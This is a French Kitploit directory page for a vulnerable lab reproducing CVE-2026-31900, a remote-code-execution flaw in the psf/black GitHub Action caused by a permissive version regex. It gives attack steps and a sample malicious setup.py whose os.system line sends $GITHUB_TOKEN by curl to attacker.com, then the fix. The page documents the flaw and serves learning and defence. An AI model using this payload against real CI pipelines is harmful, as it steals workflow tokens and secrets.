Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-31900-lab — CVE-2026-31900 Laboratoire vulnérable - RCE via GitHub Action psf/black | Kitploit
Outils/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Analyse des VulnérabilitésExploitationSécurité WebSécurité de la Chaîne LogistiqueApprentissage et ÉducationLabs et Pratique
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Laboratoire vulnérable - RCE via GitHub Action psf/black

Voir le dépôt
11il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-31900 — Laboratoire Vulnérable

Exécution de code à distance (RCE) dans l'action GitHub psf/black via une validation regex non sécurisée

ChampDétail
CVECVE-2026-31900
CVSS8.7 (Élevé)
Avis de sécuritéGHSA-v53h-f6m7-xcgm
AffectéAction GitHub psf/black < v26.3.0
TypeRCE via chaîne d'approvisionnement (déclencheur pull_request)

Vulnérabilité

L'option use_pyproject: true lit la version de Black depuis pyproject.toml. La regex utilisée pour valider la chaîne de version est trop permissive en raison de re.IGNORECASE, autorisant des caractères comme l'espace, @, : et / — exactement ce qui est nécessaire pour une exigence d'URL PEP 508.

Regex vulnérable

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Vecteur d'attaque

  1. Forkez ce dépôt
  2. Modifiez pyproject.toml dans votre fork :
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Ouvrez une Pull Request → le déclencheur de workflow pull_request s'active
  2. L'action lit la version malveillante depuis pyproject.toml, contourne la validation regex
  3. pip installe le paquet contrôlé par l'attaquant → setup.py exécute du code arbitraire

Exemple de setup.py de paquet malveillant

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Impact du vol d'identifiants

  • $GITHUB_TOKEN (jeton du runner CI)
  • Tous les secrets injectés dans l'environnement du workflow

Correctif

Mettez à niveau vers psf/black v26.3.0 ou épinglez explicitement la version dans le YAML du workflow au lieu d'utiliser use_pyproject: true.

Structure du laboratoire

root@kitploit:~
.github/workflows/black.yml   ← Workflow vulnérable (use_pyproject: true)
pyproject.toml                ← Configuration légitime (branche principale)
app.py                        ← Fichier Python exemple en cours de formatage
Télécharger l’outil